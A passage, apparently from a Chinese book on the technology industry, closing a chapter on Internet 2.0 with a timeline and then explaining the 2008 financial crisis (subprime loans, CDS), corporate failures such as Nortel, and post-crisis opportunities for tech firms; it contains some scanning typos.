基因过于相近外，互联网2.0公司面临的另一大挑战来自电子商务公司。我们知道，互联网经济最强、最直接的发展动力是电子商务。互联网2.0也不例外，它所依靠的广告和在线支付根本的基础在于电子商务。既然如此，直接从事电子商务也许是互联网上挣钱的最好办法。\n在中国，这个趋势也非常明显。阿里巴巴已经是世界上最成功的将整个电子商务行业整合起来的公司，从批发、零售到支付。整个互联网上的金矿总和是有限的而不是无限的，在互联网发展的早期，会有很多商业模式互相竞争，每一个都有可能成功。但是一旦一些模式先取得成功后，其他的模式便没有了机会。互联网2.0所代表的模式其实是在和很多模式竞争，Google 的、腾讯的、亚马逊的和阿里巴巴的，等等。\n正是由于商业模式尚不清晰，我们至今没有看到互联网2.0能够革现在互联网的命。所以，我更愿意说它是一种渐变，一种进化。\n结束语\n我们不妨从三个角度看待互联网2.0。从技术上，它没有任何创新。从人们使用互联网的方式上，它确实是一次革命；在商业模式上，它是互联网生态链的一次优化，并且可能带来新的商机。\n互联网2.0大事记\n1998 Blogger 成立，博害时代开始。\n2001 维基百科成立，在线百科时代开始。\n2003 Facebook 成立。社交平台开始。\n2006 Google 收购YouTube ， 中国视频网站如雨后春笋般诞生。\n2008 Twitter 诞生， 微博时代开始。\n2009 Facebook 流量超过Google ，成为全球流量第一的网站； 第二年， 中国主要门户网站均推出微博服务。\n2010 高盛投资Facebook ， 将它定价在500 亿美元；同年高中国Facebook 之称的腾讯市值达到450 亿美元，成为全球仅次于Google 和亚马逊的第三大互联网上市公司；罔年Google 旗下的YouTube 实现盈利。\n第21 章金融风暴的冲击\n科技像是我们这个社会的大脑，而金融则是血液。没有了科技，这个社会就会是混混沌沌的，就像中世纪的欧洲；而没有了金融，这个社会就停止了运转。2008 年，我们都“有幸”亲历1929－1933 年大萧条以来最严重的一次金融风暴。它源于美国，但是迅速席卷全球。或许会有人觉得自己既不从事金融行业，也没有大量借贷，可以对金融危机视而不见。但是，当这个社会的各个机体都缺血时，任何国家、任何个人都难逃厄运。金融危机已经在影响我们每个人的生活质量，在侵吞着我们每γ个人的财富。\n英国有一位和莎士比亚同时代的诗人约翰·多恩（John Donne）在他的《沉思录》第十七章（Meditation XVII）中说过这样一段很有名的话，“谁都不是一座孤岛向成一体，而是广袤大陆本身；海浪每冲刷掉一寸土，它就少了一块……任何人的死亡都使我受到损失，因为我包孕在人类之中，所以不要再问丧钟为谁而鸣，它也为你而敲响……” （ 原文：No man isan island， entire of itself……any man's death diminishes me， because 1 aminvolved in mankind； and therefore never send to know for whom the belltolls； it tolls for thee ） 。多恩是一位有点像李商隐那样略带伤感的诗人，并不是很有名， 但是却因为著名作家海明威在他的名著《丧钟为谁而鸣》的扉页引用了该诗而出名。\n言归正传。金融危机将直接影响到科技行业。我在2008 年前第一次写关于雅虎的一章时预言雅虎可能无法作为一个独立的公司存在5年。现在我几乎可以肯定地讲，作为互联网业务无其不有的雅虎将在这一次金融危机后消失，当然雅虎这个品牌还会存在。我们很多IT领域的从业人员将不得不改行。从好的方面看，金融危机后，会诞生出又一个Google 或苹果这样的明星公司。现在让我们来看看金融危机对科技产业的影响。\n21.1 金融危机的成因\n金融危机的直接和表层的原因是“次贷（Subprime Loan） ”及与之相关的金融衍生物CDS ，而间接和深层的原因则是违反经济规律地只消费不创造，从而坐吃山空。让我们先来看看浅层的直接原因。\n什么是次贷？要了解这个问题先要从美国分期付款的买房制度谈起。在全世界对于大部分人来讲，由于房屋的价值远远超过一个家庭的年收人，要想买房子，必须从银行贷款。银行当然不能没有抵押地将钱借出去，因此它要求购房户用房子做抵押。考虑到房价可能波动，万一房子必须收回拍卖时可能卖不到当初的价钱，银行只同意提供小于房子价格的贷款金额，比如80％的房价。剩下来的20％ 必须由买主一次付清。当然，银行要严格审查贷款人的偿还能力，一般来讲， 一个家庭能够借贷的额度不应超过其年收入的四倍。在美国，中等家庭的收入为每年4 万多美元（远没有中国大部分人理解的多） ，能贷款的额度为16 万美元。考虑到每个家庭可能还有信用卡和其他债务，因此银行愿意提供的房贷比上面这个数还小一些。目前美国独立房屋1 中间价在20 万美元左右，因此有稳定收入的家庭还是买得起房子的。\n由于美国人均收入基本上和GDP 增长一致，因此购房的偿还能力不会增长太快，房价也不会增长太快。决定房价的除了成本和供求关系外，最大的决定因素就是利率。以20万美元的独立房屋为例，假如买房人首付20％ ，还银行贷款16万美元。当贷款年利率是8％ 时，如果30 年付清16万美元的贷款，每年需付1.6 万美元， 30年下来，房主实际付了三倍的价钱，一倍是本金，两倍的利息是银行的收入。这时房贷的月供相当于房主收入的四成。而当利率降到零时，同样的贷款每年只要付5000 多美元即可付清， 这时候购房者觉得自己的收入可以买得起更好、更贵的房子，因此购房者愿意为购房出高价，于是房价就被炒上去了。当然，这样有一个很大的危险，就是一旦利率上调，很多人会付不出月供，导致信贷危机。\n以前在美国买房子需要首20％ ，同时要有很好的还贷信用记录，因此美国的房屋贷款制度几十年也没出过问题。即使遇到个别还不上贷款的人，银行可以通过拍卖房产收回贷款，何况这种情况很少发生。当然，不是每个家庭都能付出房价20％ 作为首付，因为美国人的存款率很低。而且也不是每个家庭都有很好的信用记录，因此， 不是每个家庭都能拥有住房。\n由于供求平衡，美国房地产市场在1995 年以前基本上是平稳上升，回报率不过每年4％ 左右，并不比股市更高。\n上世纪90 年代，克林顿担任总统期间，为了让穷人也能拥有住房， 美国发明了次级贷款。当购房人付不出首付时，银行可以以较高的利息向它提供头款的贷款，而前提是他们能付得出两份月供。当然，次级贷款的利率较高，因此有的银行明知有风险也愿意做。这样从克林顿任期开始， 美国的房市开始过热。不过，因为克林顿时期美国经济增长很快， 美国人收入稳定，因此很少有断供的情况发生。但是应该将克林顿看成是第一个要为这次金融危机负责的人。\n2001 年，美国互联网泡沫崩溃，经济出现了短暂的衰退。为了带动经济走出衰退，美国联邦储备局（简称美联储）主席格林斯潘通过11次降息，剌激投资和经济增长，很快将美国经济带出低谷。当人们为格林斯潘神奇的控制经济的能力叹服时， 实际上他是用一个更大的房市泡沫解决了相对小得多的互联网泡沫的问题。\n由于美联储将央行的贴现率从克林顿时期的5.5％下调到了2004年的1.5％，银行的房屋30年定息贷款利率从8％下降到6％，短期贷款利息下调得更多，这样，原来买20万美元一幢房子每月要付1800美元，现在由于要付的利息减少了，月供降为1500美元，购房者觉得自己买得起更贵的房子了。于是，没有房子的人开始买房子，有房子的人开始换更大的房子， 一个房市泡沫就开始形成。更糟糕的是，贷款经纪人和银行为了挣钱，不仅贷出了大量的次贷，而且对原来初级贷款的把关也越来越松，以至于出现了以零首付贷款给一些根本无偿还能力的人。一些外国大银行，包括瑞士联合银行（UBS） 和汇丰银行（HSBC） 也开始在美国发放房屋贷款。\n由于它们进入美国市场较晚，为了争取客户，常常在放贷上更加大胆，进一步推动了房市的泡沫。在2004 到2006 年间，如果有人想要购买房屋，就有贷款经纪人为他出示预先批准的证明，证明这个人能贷到款。当房屋成交后，贷款经纪人总能找到愿意贷款的银行为他贷款，因为总有银行觉得有实实在在的房屋作抵押，愿意冒这个风险。从2001 年起，美国房市持续上涨了6 年，加上1995 年开始的上涨，美国的房价已经远远高过居民收入可以承受的水平。当然，最终有一天，会有人还不出钱，银行就会出现大量的烂账，房市泡沫会崩溃。格林斯潘自己非常清楚这种做法的危险性，他在任期的后期试图将这个泡沫及早捅破，但是他同时也非常清楚美国人的消费方式才是根本问题。因此，他还在任期内便时不时半认真半开玩笑地说他卸任后天要塌下来，结果他不幸言中了。\n次级贷款的问题2007年就已经很明显了，但是大家并不担心，股市还到了历史的新高点。美国次贷不过3000亿美元左右，占房屋贷款5％，即使加上一些不良的初级贷款，超不过万亿美元。这一万亿美元看上去不少，但在美国经济总量中的比例很低，占银行资产的比例也很低。比如仅花旗银行就有两万亿美元的资产，美洲银行和摩根大通银行的资产与之不相上下。美国政府此次拯救经济已经开出去不止这个数目的金额了。\n照说政府的钱足够补偿次级贷款的损失，不应该导致整个金融系统的瘫痪和经济危机。其实，真正要了银行命的还不是次贷本身，而是它的衍生物Credit Default Swap（简称CDS）。\nCDS本身很复杂，要彻底说清楚需要很长的篇幅。我们不妨看这样一个例子。\n银行A给信用不良和无偿还能力的人提供10亿美元的房屋贷款（包括次贷和不良的初级贷款），如果每个房主都能还上贷款，银行A用30年可以收回10亿美元的本金，外加10亿美元的利息收入。现在，银行A为了防止贷款收不回来，向保险公司B投保10亿美元，保险费为1 亿美元。保险公司B根据历史的数据发现房屋贷款收不回来的悄况（ 即房主违约）只占房贷的2%，因此在一般情况下，银行A的10亿美元房贷只会有200万是收不回来的，因此它高高兴兴地为银行A做担保，这样它将白白赚到8000万（1亿保费扣除2000 万的赔偿），利润率高达400%。当然，B公司要承担30年的义务，这笔交易30年后才能真正知道挣了多少。现在，银行C看到公司B做了这样一笔无本买卖很眼红，就和B商量将这10亿美元的保险生意卖给它，它愿意留B公司20%的好处，即2000万美元。B公司想， 一个亿虽然多，但是要承担30年的保险义务，不如这不用承担义务的2000万来得踏实。于是B公司就以证券的形式，将为A银行作担保的业务，加价2000万美元卖给了C。这时，B公司其实只是过一道手，也就是说如果A银行的钱收不回来找到B 公司时，B公司可以找C公司要钱，自己稳赚2000万美元，于是就将这笔保险生意让给C公司。C公司付给B公司2000万，将来估计还有赔给A 银行2000万，成本是4000万，保费有一个亿，利润有6000万，因此它获得150%的利润。在理想情况下A、B、C的收益（单位： 百万美元） 和经济关系如表21－1 所示：表21-1 理想情况下三家公司的收益这样大家都有钱赚，皆大欢喜。但是，在最坏情况下， A ， B， C 的收益则如表21－2 所示：表21－2 最坏情况下三家公司的收益D公司这时又找到了C公司，愿意再多出一千万做这笔生意。这时C公司也成了过手的公司。接下来E公司从D 公司接手这笔CDS ，又转手实给了F公司。就这样，金融公司就将这种担保业务打了包，以证券的形式一样在市场上交易，这就是CDS。到最后，上述的F公司可能又将CDS实回给A银行。当没有人付不出房钱时， CDS就是白挣钱的无本生意，很值钱，可以炒得很高。而且各种形式的CDS 越来越多，整个CDS的市场越来越大，据说高达50万亿美元，已经超过了美国居民房市的总值。\n然而，一旦有大量人还不上钱时，问题就来了。\n当经济增长放缓、房价开始下跌时，就开始有人付不出月供。于是A 银行就找到B公司， B公司找到C公司，最后找到F公司。F公司是一个大保险公司，拐弯抹角地为很多A银行这样不遵守借贷规矩的银行做了担保，现在F 公司发现，赖账（Default）的人数不是历史上的2％ ， 而是10％ ，这样，它根本无法赔偿每一笔赖账。于是F公司要破产了。F公司如果破产， E公司就必须自己为它的上家支付保险，它当然也支付不出来，也会破产。而F公司、E公司等公司又特别大，很多银行的现金都买了它们发行的CDS证券，很多国家个人的退休保险也放在F公司，这样整个金融系统就崩溃了。\n聪明的读者可能发现了上述现象中两个不合理的地方。首先，为什么CDS的市场会比房市还大？ 其次，证券市场应该有赔的必然就会有赚的，否则钱都到哪里去了？第一个问题的答案有两个方面，首先， CDS 的市场基本像中国过去的三角债， A拥有B一个亿的CDS证券（即B欠A 一个亿） ， B拥有C一个亿的， C拥有A一个亿的。看上去有三个亿的市场规模，当CDS 变得一钱不值时，看上去三家都有一个亿的烂账，其实只要三家坐下来谈一谈，每家的烂账就少掉一个亿。因此，CDS的市场规模有夸大的部分。2第二， CDS 有一个漏洞，就是担保额可以超过房价，有不少人赌房市一定要垮，过度担保，然后裸空了CDS 。这就像值10万元的房子担保了一百万元的贷款一样。一般来讲这些做空CDS的不会赢，一百年可能赢一次。但是这种小概率事件还是有可能发生的，我们现在遇到的正是百年一遇的金融危机。\n这次金融危机更深层的原因远比CDS可怕。如果光是CDS，政府可以通过注入资金解套（有点像中国政府解套三角债的办法） 。或者采用非常规手段，例如将全部CDS作废，改由联邦政府为所有的房贷担保，是可以解决问题的。但是，美国及西方所有发达国家的问题在于长期以来开支严重超出经济发展所能承受的水平。以美国为例，单是向退休人员发放社会保险（ Social Security） 。就需要工资总额的7％ 左右（个人提供5％ ，公司提供2％ ）。而医疗保险（包括联邦的Medicare ，各州的Medicad 和公司及个人支付的保险金）在2008 年占GDP 的14％ 左右。这对个人、企业和政府都是难以承受的负担，而且造成了无钱投入再生产。问题最严重的美国汽车工业，由于联合汽车工会（UAW） 的作用，美国三大汽车公司工会员工的工资比日德在美国汽车厂同类工种的工人要高30％－40％ ，达每年15万美元之巨。同时，一个在职的工会工人（共18 万人，需要养活四倍的退休工会工人及退休工人的遗孀（共72万）。在GM 产量最高的2007 年，花在每辆车上的退休工人退休金和医疗保险高达5000美元，占GM汽车零售价的20％－25％ 左右。这样的福利其实是美国社会无法承担的。\nGM的问题在美国具有普遍性，只是它的问题最突出。图21－1 显示的是美国私人储蓄／债务占GDP 的比例。\n图21 －1 美国私人储蓄／债务占GDP 的比例（数据来源：高盛）图中横轴是年份，纵轴是私人（现金）储蓄占GDP 的比例。我们从图中可以看出两点： 第一，一般在经济好的时候，大家的钱就投入再生产（通过股市或其他方式），因此私人手上的现金就少了，经济不好时大家都撤资，因此手上的现钱就多了。图中在1975 年、1983 年和1992 年有三个高点，分别是1975 年经济危机、1982 年卡特到里根换手时期的衰退期，以及1992 年老布什到克林顿换届的衰退期。那时大家把钱存起来不投资。\n第二，在克林顿上台以前，美国的个人是有盈余的，可是到了克林顿上台以后，私人的储蓄就是负数了。克林顿上台后情况好起来了，大家开始投资，盈余减少，而且经济过热，大家开始借钱投资和花钱，老百姓的存款首次出现负数，而且负的很多， 一度借到GDP的6％左右，即8000亿美元。\n2000年互联网泡沫破碎后，投资短暂减少。但是，接下来美国马上从互联网泡沫过渡到更大的房市泡沫，私人的存款还是负的。也就是说，从克林顿时代开始的美国所请经济繁荣是建立在寅吃卵粮的基础上的，或者说是过度投资堆起来的，而不是靠提高竞争力带来的。\n美国的债务在西方7国中相对还算少的，图21－2 是西方7国债务占GDP的比例。从图中可以看出只有加拿大因为没有防务的负担（美国承担了它的防务），债务比美国低，剩下的都和美国相当，甚至高得多。\n 图21－2 西方7 国债务占GDP 的比例（数据来源： 高盛）因此，这次金融危机虽然起源于美国，但是美国的问题在西方主要工业国家都存在，因此，这次危机迅速变为全球化的灾难。\n金融危机的危害不仅仅在于我们大家的财富缩水，许多公司亏损甚至破产关门，更致命的是破坏了全球经济的循环系统，会导致全球经济瘫痪。由于除了做空以外，任何投资，包括房市、股市、私募基金、风险投资统统是赔钱的，使得资本的拥有者（不一定是资本家，每一个有存款的人都在此列）大量撤回投资，以现金的形式保留财富。这样，我们社会的再生产和发展就变得难以维持，这也就是所谓的流通不足。现在不可能动员任何人投入自己的财富只有各国政府拿出钱来（有财政盈余的拿出存款，没有财政盈余的政府，像美国政府靠借贷和印钞票），先恢复金融领域的流通性，保证再生产的进行，然后再想其他办法恢复经济。\n恢复经济靠什么，短期靠基础建设， 因为它在创造工作机会上见效快。长期靠科技产业（IT），因此每一次经济危机，就导致我们对科技的依赖越来越强。而所有的科技公司都必须经历这次金融危机的洗礼。\n21.2 瑞雪兆丰年：优胜劣汰\n金融危机是我们社会的冰河期。我们的地球在历史上经历过多次冰河期，每次都要有大量的物种灭绝，同时，又有许许多多更新、更有生命力的物种诞生。在6500 万年前的大冰河期，覆盖全球的植被骤减， 气候恶劣，主宰地球的恐龙于是消失了。但是它们中间少数善于适应环境的，经过脱胎换骨变成了鸟类。恐龙的消失为哺乳动物的诞生留出了空间。研究生物的学者对我讲，早期的哺乳动物竞争力并不强，如果不是恐龙的消失，它们很难成为今天世界的主宰。人类的历史也是如此。我们其实并不是北京猿人的后裔，而是来自于东非。在7 万年前的小冰河期，人类几乎灭种。但是，其中最”聪明“的一支在极其恶劣的环境中存活下来了， 成为了我们现代人，而其他猿人包括周口店北京人的后裔则被淘汰了。金融危机对经济生活的影响是普遍的。无论是大跨国公司还是小的新创公司，都必须经历危机的考验， 历史的潮流将无情地淘汰落伍的公司，为新的公司挪出成长的空间。\n一般人们会认为在金融危机中小公司不稳定， 因而存活的几率小，而大公司毕竟家大业大能够坚持的时间要长一些。其实，大公司也有大公司的问题和难处。很多大跨国公司其实有点像红楼梦里的贾府，外面看上去还很光鲜，里面其实已经掏空了。一些在前一次或前几次技术革命中产生的大公司， 包括美国三大汽车公司和很多老牌电信公司和半导体公司，实际上已经跟不上今天技术革命的步伐了。这些公司在技术上已经落后，却又思想僵化，缺乏创新。在公司结构上，它们机构膝肿，人浮于事，总之，活生生地就是现代经济生活中的恐龙。它们有一个共同的特点就是债务很高，因为它们其实已经很长时间靠借债来维持运营。但是，百足之虫，死而不值。如果没有经济环境的巨变， 它们将长期不死不活地存在下去。这些公司的业务面广，在政治和经济中影响力非常大，它们会不惜牺牲社会效益拼命维持自己日益衰落的统治地位。以美国三大汽车公司为例，它们一个季度亏损的金额是它们市值的好几倍（通用汽车公司2009 年1 月的市值只有1 6 亿美元，而它在2008 年最后一个季度的亏损却达到了40 亿美元） 。但是，由于它们的影响力大，动不动以失业等作为理由，要挟政府寻求财政帮助，在宏观经济平稳的时候，美国三大汽车公司很难破产。\n在科技工业领域也是如此，虽然这些恐龙级的公司盈利一直成问题，但是它们多少有些家底，又和政府部门有很深的渊源，在商业竞争中，它们经常以大欺小，通过不正当的竞争把新兴的小公司挤垮。在这种环境中，新兴的小公司要想取代原有的大公司是非常难的。\n现在， 金融危机来了，全球的经济危机来了，这些靠吃老本的公司在全社会都没有剩余的资金时，所有的问题都暴露了出来。金融危机首先将淘汰掉这些无法适应新环境的恐龙级的公司，因为这些长期部借新的贷款来偿还旧的贷款利息过活的跨国公司，现在已无法贷到新款，或者贷款的成本太高。在金融危机以前，像通用汽车这样信用不太好的跨国公司，贷款的成本是每年8％－10％ 的利息，金融危机时一度涨到了20％。这些公司已经永远无法还清贷款了，于是只能宣布倒闭。\n在科技类大跨国公司中，首先倒下的是加拿大的北电（Nortel）公司。北电和著名的AT＆T 公司同根同源，它最早叫“加拿大的贝尔电话公司（ Bell Telephone Company of Canada） ” 。而AT＆T 公司的旧名称是贝尔电话公司（Bell Telephone Company ） 。后来因为反垄断的原因，才不得不和美国的母公司分开，成为一个完全的加拿大公司。在二战后很长时间里，它是和AT＆T（朗讯）、西门子齐名的电信设备制造商，一度占世界电信市场近一成的份额。北电也是最早进入中国市场，并且在中国设有研发中心的西方科技公司，我本人在清华时还从北电拿了不少科研经费。2000年前后，北电的发展达到顶峰， 它和它的母公司加拿大贝尔公司占整个加拿大股市市值的一大半。也就是说， 如果一个投资人购买加拿大的指数基金， 他基本上只购买了两家公司。但是，北电虽然大，却不强。它在全球通信从语音通信向数据通信转变时，鲜有亮点。即使在2007 年底全球经济到达最高点时， 它的利润也不过一季度2000万美元， 利润率不到1％。\n虽然业绩不佳，做了一辈子大公司的北电行事却气派十足。2000 年，它疯狂扩充人员，曾经将硅谷地区一所三流大学一个年级的毕业生全部请去并录用，几个月后互联网泡沫崩溃，它不得不将整个这批尚未培训的新员工全部请走。2000 年以后，北电的债务越来越多到后来就开始玩借新债还旧债的游戏。去年第四季度，北电一个季度就亏损了34亿美元，而一批贷款又要偿还或付利息，它别无选择，只有申请破产保护。\n像北电这样的公司不在少数，随着经济危机的进一步加剧，会有更多的跨国公司跨入北电的行列。这种倒闭风潮虽然在短时期内对经济和科技的负面影响非常大，但是从长远看， 淘汰掉不健康的公司未尝不是件好事。\n大量不健康的公司会使得整个社会的投资效率低下， 经济生活变得死气沉沉。这些公司的消失，为健康的公司腾出了宝贵的市场，健康而有活力的公司将成为未来直接的收益者。具体到电信业， 像思科这样的公司无疑会直接受益于北电的破产。而像华为这样地区性的品牌， 则得到了百年难求的跃居世界主流品牌的机遇。以前，在北美和欧洲市场上，虽然北电的产品性价比已经不太具有竞争力，但是它和很多国家的政府部门有着长期的关系，并且很多大客户已经”习惯“采用它们的产品，因此，华为等后起之秀要想进入这些市场需要很长的时间和很高的费用。现在， 华为等公司打入这些国家市场的阻力要小很多（事实上华为在2009 、2010 两年里成功打入除了北美以外的全球市场） 。无论是思科这样健康的龙头老大，还是华为这样咄咄逼人的后起之秀，对全球电信市场带来的效益要远远超过北电这样日薄西山的公司。因此，从长远讲这是好事情。\n金融危机使得以前一些不可能的兼并成为可能，并因此打造出一些竞争力更强的大型公司。我们前面在介绍微软和雅虎收购案中提到， 在平常时期，前者收购雅虎并非易事，出价低了固然收购不成，出价过高对于微软和雅虎共同的投资者来讲也不是一件合算的买卖，因此也不容易通过。除了价格因素外，政府和业界对于垄断的恐惧会让它们千方百计地阻止这样的收购。现在的情况大不相同了，雅虎的股价比一年前微软提出收购建议时少了一半，虽然微软的股价也下跌了1／3 ，但是只要微软愿意， 它还是可以以相对较低的价钱收购雅虎的。去年，雅虎的股东们虽然不看好雅虎本身的前景，但是，自信雅虎不和微软合井，出路也是很多的一一至少有很多家公司，包括Google 、美国在线的母公司时代华纳、迪斯尼和新闻集团（ News Corp） ，都可能收购雅虎或和它结为战略伙伴。现在上述公司都在收缩战线，固守自己的核心业务，无力帮助雅虎。如果微软愿意，它将很容易购得雅虎（当然，随着微软雇佣了雅虎搜索和广告业务主要的负责人，它对雅虎的兴趣也大不如以前） 。而此时美国政府担心的是经济衰退和失业率，万一雅虎维持不下去，它不仅不会阻止收购，而且还会乐观其成。2009 年IBM 和甲骨文公司提出收购营日的明星公司太阳公司，这在金融危机以前是不可能的，因为太阳公司不会有运营不下去的担忧。但是这一次，太阳公司的董事会则倾向于被收购，因为该公司在经济危机中有关门的危险。因此，当它和IBM 公司在价格上没有谈拢后，它马上找到了新买主甲骨文。在太阳公司急于出售向己的心态下，甲骨文“捡了个大便宜” 。甲骨文和太阳公司合并后，在全球企业数据库软件和服务的市场份额将超过一半，进一步强化它的统治地位。2009 年以来， 经营状况较好的思科公司、英特尔公司和博通公司都在通过发行债券和公开募股的形式筹措收购的资金，少的也有十几亿美元，多的高达几十亿美元。一旦经济出现复苏的迹象，他们会用手上的现金购入新的技术，并成为下一轮扩张的主角。\n有收入、有利润的中小公司情况也和跨国公司类似，我们就不再赘述了。\n而那些刚刚起步，还无法盈利的新创公司除了受宏观经济衰退的打击，还会遇到来自风险投资者人为的压力，它们会加速两极分化，情况好的小公司会很快得到承认而发展起来，前景不好的则会突然死亡。在正常的宏观经济环境中，风险投资倾向于广种薄收，它们投资的公司数量较多，强度不是很集中。同时，风险投资家一般不干预他们投资的小公司的运营，只要那些新创公司能够运营下去，风险投资商会让它们自由竞争、自然淘汰。\n但是，在经济危机时，风险投资家们不得不主动收缩战线，弃卒保车。它们通常的做法是迅速关闭成活可能性小的公司，把资金集中投入给可以生存下去的公司中，保住一些重点投资。在2001～2003 年间，风险投资公司强制关闭了很多仍然有足够现金，但是短期无法盈利的小公司。而对于那些运营不错的公司，反而可能得到比宏观经济好的时期更多的资金，虽然它们日子也颇为艰难，却无疑是遇到了一个非常好的发展机会。\n首先，由于风险技资公司的重点扶植，它们在资金上比它们的竞争对手更加充裕。其次，它们可以雇到以前根本请不来的优秀人才。Google就是在2001 年到2003年其他公司裁员时，打造出其工程部门的核心的。第三，经济衰退为生存下来的公司扫清了大部分竞争对手，给它们创造了宽阔的生存空间。在金融风暴前成功融资的Facebook 显然是得益者。因为从2008 年下半年到2009 年底， 基本上就没有哪家新公司在做社交网络的事情。\n在2001～2003 年的上一次经济衰退中，九成以上的互联网公司都关门了，同时由于寻找风险投资几乎是不可能的事，因此也没有新的公司诞生，这些真空的市场给Google 、Overture 和PayPal 这样运营不错的公司创造了绝佳的发展机会。在2001 年以前，每争取一个互联网用户需要花几十美元（一家叫College Hire的在线求助网站为每份简历付100 美元）。2001年后，不仅是Google，Overture和PayPal 也就花0.01 美元广告费便占领了市场（当然PayPal 还是给新用户5美元，但是比后来Google Checkout的30美元少多了）。从积极的角度看，相当于经济危机不仅为这些公司的存活提供了更好的环境，而且为它们提供了不需要做广告就能发展的少有的机遇。2004 年后， Google 高调上市，成为互联网行业的龙头老大，而Overture 和PayPal 也被高价收购了。其中PayPal 成为了全球在线支付的主导公司，并且至今依然以每年两位百分数的高速度发展。\n不仅是这些成了行业主导公司的企业得利于经济危机替它们清扫了发展道路上的障碍， 无数存活下来的小公司在经济复苏后也都得到了很好的回报。从2004 年起，全球开始了新的一轮投资高潮。风险投资和私募基金经理们发现，市场上已经没有什么现成的公司可以投资了。而那些希望通过收购而快速发展的大公司也找不到很多的收购对象了。因此，任何一家有些亮点的小公司都成为很好的投资对象和收购对象。在2000 年网络泡沫的时代，在硅谷收购一家没有什么收入的小公司的成本大致相当于每个人100 万美元。也就是说收购一家100 人的只会烧钱不会挣钱的网站需要1 亿美元。在互联网泡沫崩溃后，不仅那些不能挣钱的公司没有人耍，有相当收入和市场份额的公司也便宜得很。雅虎2003 年收购lnktomi 时，后者有200 多人（其中大部分是工程师） ，并且还在为微软提供搜索服务， 有稳定的收入，价钱不过1 亿美元左右，人均大约40 万美元。可是到了2004 年以后，公司的收购价大幅攀升。2005 年， eBay 以26 亿美元的高价收购互联网电话公司Skype ，两年后eBay 不得不承认在这笔收购中多支付了14 亿美元（现在eBay 想把它出售或分出去单独上市） 。\n2006 年底， Google 以17 亿美元的高价收购了几乎没有收入的YouTube。如果按照人头来算，人均的价钱已经超过每人1000 万美元，是互联网泡沫时代的10 倍。到了2007 年，微软投资Facebook 的出价更是高得离谱，微软的开价几乎到了人均上亿美元。不仅是YouTube 和Facebook 这样的知名公司估价高得离谱，就连那些既没有很大名气、又没有多少收入的二流新创公司， 一个个在融资时动不动作价上亿美元（只要看看国内那些包括视频网站在内的所谓互联网2.0的公司融资时的估值就可以知道了） 。为什么会出现这种不很正常的情况呢？因为2001 年到2003 年的互联网寒流扫荡掉了90％ 以上的新创公司，当2004 年经济复苏后，投资人可以选择的投资目标很少，这就让每一个有点模样的公司成为收购和投资交易中的香悖悖。\n这一次始于金融危机的全球经济危机，无疑是考验所有新创公司在逆境中生存能力的时机。通常，一家新创公司的技术是决定其成败的主要因素。\n现在不同了， 一个公司管理团队在低谷中求生存的本领变得相当关键了。\n最终生存下来的公司可能不是技术最好的，但一定是管理很不错的。我在第11章“硅谷的另一面”中提到一家新创公司最终成功的机会微乎其微。\n现在，任何新创公司只要在这次经济危机中存活下来，就有比平时大几倍甚至几十倍成功的机会。2008年10月份金融危机爆发的时候我正好在中国访问， 一些朋友问我如何“过冬” 。我的建议是，不求大的发展，但求生存。必须要保证12到18个月后还有资金，还活着。现在看来，能坚持一到两年的小公司，发展得都比金融危机前要好。\n金融危机无疑对创业者的个人影响是巨大的。首先，创业者很难融到资。\n在资本主义时代历次经济危机中，穷人固然不敢乱花钱，富人也变得保守而不敢投资了，这是屡试不爽的规律。对于那些刚刚成立不久， 正在寻求风险投资的创业者来讲，这无疑是灭顶之灾。很多创业者在经济高潮时看到其他人创业成功，自己也跃跃欲试，辞了职， 干了几个月刚要开始融资时， 很不巧遇到经济衰退，发现找不到愿意投资的人和公司。这些小公司的员工固然要离开公司，创始人的日子就更难过了。他们回去找工作既不甘心， 也未必找得到。社会和政府会同情他们，帮助他们解决生计问题，但是对他们的事业基本不会提供任何帮助。当整个经济有太多的问题等待着政府解决时， 这些创业者是无法引起政府重视的。\n其次，创业的设想（或题目和项目）可能需要推翻重来，因为这些题目大多是在上一次经济高潮时想出的，比如网络视频，既不符合经济危机时政府和社会救助经济的方向，更不代表下一次技术革命的方向，技资者根本不会投资。\n但是从积极的方面考虑，正是在危机中提出的项目和创新，可能是将经济带出低谷的技术革命。我们在下面会详细论述。\n21.3 潜在的商机到处都是\n台湾OEM 大王郭台铭先生在去年金融风暴后讲，他原本已经在考虑退休了，现在遇到了百年难遇的金融危机，他决定不退休了，因为这是一个千载难逢的投资和发展的机遇。我很欣赏他的这种积极的生活态度，也同意他那危机意味着转机的看法。\n每一次经济危机就会导致一些产业的变迁和行业的内部调整。1975年的石油危机，让美国人纷纷淘汰掉他们制造的大个头而费油的汽车，像卡迪拉克、水星（ Mercury ） 和别克（ Buick） 等，转而购买日本产的小而省油的丰田和本田的汽车。日本汽车就是从那时起在世界上逐步取代了美国汽车的市场和地位的。\n在IT 行业也是如此，微机时代最重要的三家公司微软、英特尔和苹果都是从那时诞生和起步的（英特尔虽然是在1968 年成立的，但是它的成名CPU 芯片8000 系列是从1974 年开始生产的。1978 年lntel8086 诞生） 。\n在1975 年以前，整个计算机行业基本上是由生产大型机的IBM 公司和生产小型机的DEC 公司垄断。所谓的小型机其实并不小，体积也有现在几个电冰箱那么大。那时计算机从硬件到服务都很贵，贵到一些公司不是购买而是租赁计算机。但是无论是IBM 还是DEC 的计算机可靠性都非常好，两家公司的服务也很好。1975 年以前， 西方经济从二战后在很长时间里没有遇到大的挫折，公司的利润总是飘涨，整个工业界以开源为主，很少注意节流。因此，只要IBM 和DEC 的客户，即大中型公司自己的利润有保障，它们不在乎花营业额的百分之几用于办公自动化上。那时，即使有微型计算机PC，也无法打人企业级市场，因为改用当时技术还不成熟的PC 机的风险非常大。\n1973－1975年的经济危机造就了廉价PC机发展的大环拢。1975 年源于石油价格上涨的经济危机对于西方人心理的冲击是巨大的，人们至今记忆犹新。虽然以罗马俱乐部为代表的许多经济学界的人士在上世纪70 年代初就开始怀疑世界经济是否能够持续发展，并发表了后来备受关注的研究报告《增长的极限》 ，但是在危机没有到来之前，社会各界都不愿意承认危机的存在， 学术界认为该报告是杞人忧天人忧天，普遍持批评的态度。1 975 年后，当各家公司的发展速度和盈利真的受到重创后，才回过头来考虑节流的问题。罗马俱乐部在1 978 年又发表了研究报告《超越浪费的时代》 ，再次提醒全世界的人节流的重要性。而成本不断上升的整个工业界不得不考虑降低运营成本的问题实际上全球化是从那个时代兴起的 